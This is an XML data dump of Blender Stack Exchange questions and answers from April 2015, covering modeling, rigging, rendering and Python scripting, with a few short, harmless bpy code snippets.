  <row Id="28099" PostTypeId="1" CreationDate="2015-04-05T06:56:49.213" Score="0" ViewCount="7008" Body="&lt;p&gt;Recently I was working on creating an animation in Cycles Render, and my camera started showing only gray when I switched from the Camera View (by toggling 0) to the User Perspective. Similarly, if I try to move orthographically within the Camera View it shows only gray; here the location numbers become enormous (again, not sure why) but this doesn't occur in the User Perspective and it remains gray.  I tried to find a solution to this on the site, but the common problem and solution seems to be with clipping distance, and mine seems to be large enough. I think I toggled something by accident, but I can't determine what. The screenshots are of the different views. &#xA;Sorry if this question is simple, or redundant but I tried to figure it out and am at my wit's end!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a6sKz.png&quot; alt=&quot;all is well&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m51df.png&quot; alt=&quot;chaos&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WvmK2.png&quot; alt=&quot;same problem, same distance&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7966" LastEditorUserId="7966" LastEditDate="2015-04-05T16:06:06.273" LastActivityDate="2015-04-05T16:06:06.273" Title="Camera shows gray screen" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28100" PostTypeId="2" ParentId="28099" CreationDate="2015-04-05T07:46:47.800" Score="1" Body="&lt;p&gt;From your snapshots it looks like your camera shifted a very long distance, try to adjust the camera location or the camera clipping. &lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-05T07:46:47.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28101" PostTypeId="2" ParentId="28072" CreationDate="2015-04-05T09:54:37.927" Score="6" Body="&lt;p&gt;Blender is primarily a polygon based modelling tool. Curves have received some attention over the years and are quite acceptable as modelling devices now. However Lofting, which creates surfaces from Curves (or potentially NURBS) is, if we are honest, a little bit of a Fiasco, still in 2015. Those of us who want that functionality seem to be in quite a minority, else it stands to reason that these features would be much better supported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The power of the Bridge Tool and the CurveTools addon shouldn't be underestimated. From what I can tell CurveTools &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?221213-Tools-for-curves&amp;amp;p=2840176&amp;amp;viewfull=1#post2840176&quot; rel=&quot;noreferrer&quot;&gt;is still semi-actively under development&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is, &quot;how would you loft between curves&quot;? I use &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;noreferrer&quot;&gt;Sverchok&lt;/a&gt; (Node based geometry addon for Blender).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xzzLO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the example image shows three splines which are part of the one curve, this is to illustrate only the control points of the splines. For this to work in Sverchok you &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;have any number of separate curves&lt;/li&gt;&#xA;&lt;li&gt;their names are important for sorting &lt;/li&gt;&#xA;&lt;li&gt;the origin of all the curves should be the same, the geometry of the curves themselves is of course entirely up to you.&lt;/li&gt;&#xA;&lt;li&gt;with the curves selected, press the Get Selection button on the &lt;em&gt;Objects-in&lt;/em&gt; node , and hook up  the nodes something like the image shows.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For live updates you need to scrub the timeline or have it playing, it's a bit of a hack.. but it gets the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/et3u4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-05T10:47:58.220" LastActivityDate="2015-04-05T10:47:58.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28102" PostTypeId="1" AcceptedAnswerId="28129" CreationDate="2015-04-05T10:00:48.387" Score="8" ViewCount="514" Body="&lt;p&gt;Does anyone know how could I select and view vertices which overlap from two vertex groups ?&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2015-04-06T03:16:14.517" Title="Select overlaping vertices from vertex groups" Tags="&lt;vertices&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28103" PostTypeId="1" AcceptedAnswerId="28104" CreationDate="2015-04-05T11:30:57.250" Score="12" ViewCount="1392" Body="&lt;p&gt;I am trying to create an truck exhaust mesh with blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FqQ3y.jpg&quot; alt=&quot;Truck Exhaust&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am using a smaller size cylinder to cut inside and then using some other cylinders to cut every hole with boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ABGCh.jpg&quot; alt=&quot;Cutting&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wtPxi.jpg&quot; alt=&quot;Finished product&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, the original mesh has many holes and cutting every single one of them with this method will take forever and if suddenly I decide to change the amount of holes in perimeter or exhaust diameter , I have to restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there  any easier way to do this?&lt;/p&gt;&#xA;" OwnerUserId="13357" LastEditorUserId="241" LastEditDate="2015-04-05T13:15:54.610" LastActivityDate="2019-04-15T04:21:05.287" Title="Creating a truck exhaust mesh" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28104" PostTypeId="2" ParentId="28103" CreationDate="2015-04-05T12:21:07.973" Score="15" Body="&lt;p&gt;For creating a real mesh you can use the array and boolean modifiers as follows :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a cylinder 'C1' and put in the right position &lt;/li&gt;&#xA;&lt;li&gt;add an empty 'E1' rotate it 36° &lt;/li&gt;&#xA;&lt;li&gt;add an array modifier to C1 and use E1 as offset object, with a count of 5&lt;/li&gt;&#xA;&lt;li&gt;add a second empty 'E2' and rotate it 18°&lt;/li&gt;&#xA;&lt;li&gt;add array modifier to 'C1' and use 'E2' as offset object,with a count of 10 or more&lt;/li&gt;&#xA;&lt;li&gt;create a cylinder 'C2' and put in the right size and pose &lt;/li&gt;&#xA;&lt;li&gt;remove the top and bottom faces of 'C2'&lt;/li&gt;&#xA;&lt;li&gt;add a boolean modifier with target set to 'C1' and type to 'Difference'&lt;/li&gt;&#xA;&lt;li&gt;parent 'C2','E1' and 'E2' to 'C1' and hide them (so you don't need to apply the modifier until you are satisfied with the results)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jt8mo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note :&lt;/em&gt;&lt;/strong&gt; i have add Bevel modifier to 'C1' and subsurf and solidify to &#xA;'C2'  to get the previous result &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To avoid having a dense mesh and dealing with the boolean modifier you can use a texture and transparent material to achieve the same results :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use the following node setup for the material (you can replace the defuse with more complex shaders )&lt;/li&gt;&#xA;&lt;li&gt;use Follow active quad to unwrap the cylinder and map it correctly on the texture &lt;/li&gt;&#xA;&lt;li&gt;if the texture has an alpha channel use it instead of the RGB_BW converter in the material nodes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wtCJM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result render :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZMRyf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-05T12:41:15.587" LastActivityDate="2015-04-05T12:41:15.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28105" PostTypeId="1" AcceptedAnswerId="28107" CreationDate="2015-04-05T12:36:42.747" Score="5" ViewCount="299" Body="&lt;p&gt;I subdivided a face to apply multiple materials to it. However after assigning them, they look displaced in edit and object mode, as well as in the rendered picture. What did I do wrong?&lt;br&gt;&#xA;I tested multiple materials and all of them show the same behavior.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a2Z3K.png&quot; alt=&quot;Displacement in edit mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VyFtW.png&quot; alt=&quot;Displacement in object mode&quot;&gt;&lt;br&gt;&#xA;I expected something like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qGJjB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="13623" LastEditorUserId="5113" LastEditDate="2015-04-05T12:54:48.187" LastActivityDate="2015-04-05T13:25:17.877" Title="Multiple materials on subdivided face resulting in displacement" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;modifiers&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28106" PostTypeId="1" CreationDate="2015-04-05T12:53:31.623" Score="3" ViewCount="648" Body="&lt;p&gt;&lt;br&gt;&#xA;I want to get blender to work with argparse.&#xA;I found the following &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/templates_py/background_job.py&quot; rel=&quot;nofollow&quot;&gt;implementation in blender here&lt;/a&gt; and tried to sum it down to this:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-python prettyprint-override&quot;&gt;&lt;code&gt;import argparse&#xA;import sys&#xA;argv = sys.argv&#xA;if &quot;--&quot; not in argv:&#xA;    argv = [] # as if no args are passed&#xA;else:&#xA;    argv = argv[argv.index(&quot;--&quot;) + 1:] # get all args after &quot;--&quot;&#xA;usage_text = &quot;Run blender in background mode with this script: blender --background --python &quot; + __file__ + &quot; -- [options]&quot;&#xA;parser = argparse.ArgumentParser(description=usage_text)&#xA;args = parser.parse_args(argv) # In this example we wont use the args&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when executed named as &lt;code&gt;argparse_blender.py&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b -P argparse_blender.py --  -h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get as the last line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Not freed memory blocks: 216&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this?&#xA;If not, is it serious? I care about memory leaks.&lt;/p&gt;&#xA;" OwnerUserId="945" LastActivityDate="2017-11-14T15:07:46.543" Title="Using argparse in script yeilds memory error" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28107" PostTypeId="2" ParentId="28105" CreationDate="2015-04-05T13:25:17.877" Score="7" Body="&lt;p&gt;The Bevel modifier is subdividing the mesh again creating new face which are assigned to a certain material depending on there creation method , changing the number of segments to an even number will get you the desired result&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-05T13:25:17.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28108" PostTypeId="2" ParentId="28103" CreationDate="2015-04-05T14:00:29.740" Score="13" Body="&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Bezier Circle&lt;/em&gt;&lt;/strong&gt; and a part of the truck exhaust profile mesh. They both should have the same origin point.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Iopa7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the &lt;strong&gt;&lt;em&gt;Array Modifier&lt;/em&gt;&lt;/strong&gt;, increase the  &lt;em&gt;Count&lt;/em&gt; number, and check the &lt;em&gt;Merge&lt;/em&gt; and &lt;em&gt;First Last&lt;/em&gt; boxes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/viWDn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the &lt;em&gt;Curve&lt;/em&gt; and &lt;em&gt;Subsurf&lt;/em&gt; modifiers.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2ISv9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale the profile a bit to close the cylinder.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IRSJk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it's closed, you may scale the holes size as you like.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4E05x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the edges of the holes and mark them as sharp &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;--&gt;Mark Sharp. It will be usefull in the next stage.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b0YCo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply the &lt;em&gt;Array&lt;/em&gt; and &lt;em&gt;Curve&lt;/em&gt; modifiers. Merge the vertices of the cylinder's closing edges (select the first, then last vertex and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;--&gt;At Last).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XkwQj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add the &lt;em&gt;Array Modifier&lt;/em&gt; and increase the &lt;em&gt;Count&lt;/em&gt; number to make the cylinder longer. Apply it, then, being in &lt;em&gt;Edit Mode&lt;/em&gt;, remove doubles (hit &lt;kbd&gt;W&lt;/kbd&gt;--&gt;Remove Doubles).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RpCDA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;em&gt;Solidify&lt;/em&gt; (increase the &lt;em&gt;Thickness&lt;/em&gt; value) and &lt;em&gt;Edge Split&lt;/em&gt; modifiers.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QuShT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-04-05T14:15:05.647" LastActivityDate="2015-04-05T14:15:05.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28109" PostTypeId="1" AcceptedAnswerId="28110" CreationDate="2015-04-05T14:07:29.540" Score="4" ViewCount="4349" Body="&lt;p&gt;How could I select one vertex from my mesh if I know ID of that vertex? I enabled &lt;code&gt;bpy.app.debug = True&lt;/code&gt; and I can see all IDs but cant find a specific one.&lt;/p&gt;&#xA;" OwnerUserId="12996" LastEditorUserId="241" LastEditDate="2015-04-05T14:17:53.710" LastActivityDate="2019-02-21T14:21:41.673" Title="How Could I Select a vertex by its ID?" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28110" PostTypeId="2" ParentId="28109" CreationDate="2015-04-05T14:14:32.660" Score="5" Body="&lt;p&gt;here the answere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;&#xA;index = 0 # here the index you want select please change &#xA;&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;vertices= [e for e in bm.verts]&#xA;oa = bpy.context.active_object&#xA;&#xA;for vert in vertices:&#xA;    if vert.index == index:&#xA;        vert.select = True&#xA;    else:&#xA;        vert.select = False&#xA;&#xA;bmesh.update_edit_mesh(me, True)      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-04-05T14:14:32.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28111" PostTypeId="1" AcceptedAnswerId="28117" CreationDate="2015-04-05T14:45:10.913" Score="4" ViewCount="446" Body="&lt;p&gt;I'm pretty much new to LuxRender engine. I was trying to install LuxRender version 1.4 into Blender 2.74. But many tutorials out there seems to suggest that you need to provide the path to LuxRender after installing the same as addon. They also showed a screenshot where you need to enter the path in Blender 2.5x but I couldn't find anything like that in Blender 2.74 . ..  Kindly help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached screen shot in Blender 2.5x below. . .&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SRHw9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also attached the screenshot in Blender 2.74 below. . . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6MROn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13624" LastActivityDate="2015-04-05T17:09:41.577" Title="Unable to find the input tab to provide the path for luxrender in blender 2.74" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28113" PostTypeId="1" CreationDate="2015-04-05T15:36:56.723" Score="2" ViewCount="235" Body="&lt;p&gt;I like to use a plane/cube or s.e. set as active rigid body that should interact with a passive body plane (ground) an follow a given path or follow f.e. an keyframed empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better imagination, i like to simulate the behavior of a sled which is pulled by a f.e. a human. The x,y movement is given by keyframes an i like to simulate the z location an the rotation of the object. &lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2015-04-05T15:36:56.723" Title="Blender Physic. Can an active rigid Body Object follow an empty or s.e" Tags="&lt;physics&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28114" PostTypeId="1" CreationDate="2015-04-05T16:33:49.297" Score="2" ViewCount="7176" Body="&lt;p&gt;I am on the final step of the character creation process for my model of Master Chief (Halo). I have made a simple rig (nothing fancy, like IK bones) and I am trying to set up some automatic weight paint on it, but it comes up with an error message going somewhere along the lines of &quot;Failed to find weight heating for one or more bones&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a few things I know about the model which may help in solving this:&lt;br&gt;&#xA;There are a couple finger bones barely jutting out of the mesh.&lt;br&gt;&#xA;I made the hands and head separately from the rest of the project, the mesh had a sub surf modifier applied to it.&lt;br&gt;&#xA;I have textures (colors) applied to the mesh.&lt;br&gt;&#xA;I have re-calculated normal's, and I have also used and applied a mirror modifier.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there's more, but that's all I can think of right now.&lt;/p&gt;&#xA;" OwnerUserId="13626" LastEditorUserId="2217" LastEditDate="2015-04-05T17:06:41.543" LastActivityDate="2015-04-14T07:30:28.830" Title="How do I fix automatic weight problem?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28115" PostTypeId="2" ParentId="13392" CreationDate="2015-04-05T16:45:43.877" Score="1" Body="&lt;p&gt;The streaks that you are talking about is fine, that's just how blender shows it because you painted on the vertices the surroundings may create streaks as shown from your screenshot I wouldn't worry about it, its normal and common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A recommendation is you could select the face itself, go to the vertices tab in properties and assign what you have selected to the amount of weight you want. This way it will be much more neater and more preferable to the display you want. &lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2015-04-05T16:45:43.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28116" PostTypeId="2" ParentId="28063" CreationDate="2015-04-05T17:00:19.170" Score="17" Body="&lt;p&gt;This is one way to align verities (or straighten edges ) according to two of them (without moving these two ) :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select these two points (in this case the ends )&lt;/li&gt;&#xA;&lt;li&gt;create an edge between them&lt;/li&gt;&#xA;&lt;li&gt;set the manipulator to &lt;strong&gt;Normal&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;set the pivot to &lt;strong&gt;Active Element&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;set selection to &lt;strong&gt;Edge&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;select all where the created edge is the active one&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt; and again &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt;, after that type &lt;kbd&gt;0&lt;/kbd&gt; and hit &#xA;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;delete the edge you created&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6tJF6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-05T17:00:19.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28117" PostTypeId="2" ParentId="28111" CreationDate="2015-04-05T17:05:44.270" Score="5" Body="&lt;p&gt;You can find it in the &quot;Blender User Preferences&quot; in the Addons tab, under the plugin &lt;em&gt;Render:LuxRender&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kd5mx.jpg&quot; alt=&quot;User Preferences showing the LuxRender addon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="2217" LastEditDate="2015-04-05T17:09:41.577" LastActivityDate="2015-04-05T17:09:41.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28118" PostTypeId="1" CreationDate="2015-04-05T17:05:59.210" Score="1" ViewCount="52" Body="&lt;p&gt;When I wanna convert a sequence of images into a movie file, only 50% of the cpu are getting used. How can I increase this number and accelerate the whole process?&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="241" LastEditDate="2015-04-05T17:21:48.017" LastActivityDate="2015-04-05T17:21:48.017" Title="How can I use more than 50% of the CPU when converting image sequences?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28119" PostTypeId="2" ParentId="22861" CreationDate="2015-04-05T17:31:32.300" Score="1" Body="&lt;p&gt;I recently had this same problem in Blender 2.72 with no apparent answer. However, I found that by pressing Shift - C re-centered the Viewport and then I switched from User Perspective to User Ortho with NumPad 5, and everything returned to normal. I too experienced uncontrollable zooming that led to unquantifiable Location coordinates, but this method worked for me, I hope it solves your problem.&lt;/p&gt;&#xA;" OwnerUserId="7966" LastActivityDate="2015-04-05T17:31:32.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28120" PostTypeId="1" AcceptedAnswerId="28123" CreationDate="2015-04-05T18:36:35.283" Score="4" ViewCount="1573" Body="&lt;p&gt;I am trying out the various bone constraints in Blender. To further my understanding I am attempting to create the motion of a leg following the pedal of a bicycle. Please refer the image of the simple setup I am attempting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8DRIF.png&quot; alt=&quot;bone setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have parented the 'Pedal' to the 'Disc' and have animated a rotation of the 'Disc' in the direction of the Blue arrow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now trying to make the 'Feet' (oops! must be 'Foot') bone to follow the path of the 'Pedal' with an offset. I believe that after achieving this, adding an IK constraint to the 'Feet' bone and affecting all the way to 'Thigh' will give me the necessary motion. However, I am unable to achieve this. I am using Blender 2.7 on Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting to 'Copy Location' constraint on the 'Feet' object while specifying the target as 'Pedal' does not work.&lt;/p&gt;&#xA;" OwnerUserId="13631" LastEditorUserId="2217" LastEditDate="2015-04-05T20:17:08.333" LastActivityDate="2015-04-05T20:17:08.333" Title="Creating a simple bicycle pedal motion" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28121" PostTypeId="1" AcceptedAnswerId="28125" CreationDate="2015-04-05T18:59:13.390" Score="13" ViewCount="1886" Body="&lt;p&gt;For scientific visualisation, I'm using a lot of splines which are bevelled with an object (i.e. a hexagon). I control the level of details depending on the context.&lt;/p&gt;&#xA;&lt;p&gt;Without losing the benefits of curves, I want to assign colours to the curve points so that the generated mesh will show these colours (with interpolation).&#xA;Here's an image of what I would like to achieve. The image below is an example of the object I want to map colours to. Some splines have hundreds of points. &lt;b&gt;Each point has a colour so the mesh has to show the &amp;quot;exact&amp;quot; colour at the proper location.&lt;/b&gt; &lt;br/&gt;&lt;br/&gt; &lt;img src=&quot;https://i.stack.imgur.com/GA8nz.jpg&quot; alt=&quot;Example of desired curve mesh colouring&quot; /&gt;&lt;img src=&quot;https://i.stack.imgur.com/SypqE.png&quot; alt=&quot;Target example&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I browsed stack exchange for an answer and I also did try to answer my own question before posting it here, see below.&lt;/p&gt;&#xA;&lt;h3&gt;1. the naive way&lt;/h3&gt;&#xA;&lt;p&gt;I tried looping over the curve points but there's no colour property. Meh.&lt;/p&gt;&#xA;&lt;h3&gt;2. curve mesh data&lt;/h3&gt;&#xA;&lt;p&gt;So, this is about looping over generated mesh vertices and then calculating how close they are to a point in order to assign the proper vertex colour.&lt;/p&gt;&#xA;&lt;p&gt;When I have a meshed curve in my viewport, I do a loop&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for mesh in bpy.data.meshes:&#xA;    print(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I get 0 as a result. But my mesh is there, I can see it in Blender.&lt;/p&gt;&#xA;&lt;h3&gt;3. weights to colours with Cycles&lt;/h3&gt;&#xA;&lt;p&gt;So far what I did was assigning the colour value to the weight property of curve points, like this simplified code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    polyline.points.add(len(points) - 1)&#xA;    for i in range(len(points)):&#xA;        vertex = points[i]&#xA;        # x, y, z and weight&#xA;        polyline.points[i].co = (x, y, z, w)&#xA;        # radius of the point (only meaningful if a tube-like volume is drawn around it)&#xA;        polyline.points[i].radius = r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I thought there would be a way to then transfer the weight to vertex colouring of the curve mesh but I found none since I can't access the mesh data.&lt;/p&gt;&#xA;&lt;p&gt;So I randomly tried to find a way to use weights with Cycles, maybe there is something that I can plug to the colour input of a standard material ? Didn't find any.&lt;/p&gt;&#xA;&lt;h3&gt;4. using BMesh ?&lt;/h3&gt;&#xA;&lt;p&gt;Bmesh doesn't support curves so it's a dead end here as well.&lt;/p&gt;&#xA;&lt;h3&gt;5. uvw mapping&lt;/h3&gt;&#xA;&lt;p&gt;As Chebhou wrote, I could use UVW mapping but I would like to see this in python. However, I'm asking for a way to match colours at every curve point. It seems that uvw mapping is non linear so how do I know to what coordinate in space (on the mesh) a color will be ?&lt;/p&gt;&#xA;&lt;h3&gt;UPDATE : there is a limit to how many gradient elements you can have in a color ramp, &lt;b&gt;32 colours max&lt;/b&gt;. I have splines with way more points than that. I need to find an alternative way of using UVW mapping.&lt;/h3&gt;&#xA;" OwnerUserId="13633" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-08-15T00:22:57.167" Title="How to colour vertices of a beveled curve mesh without converting to mesh?" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
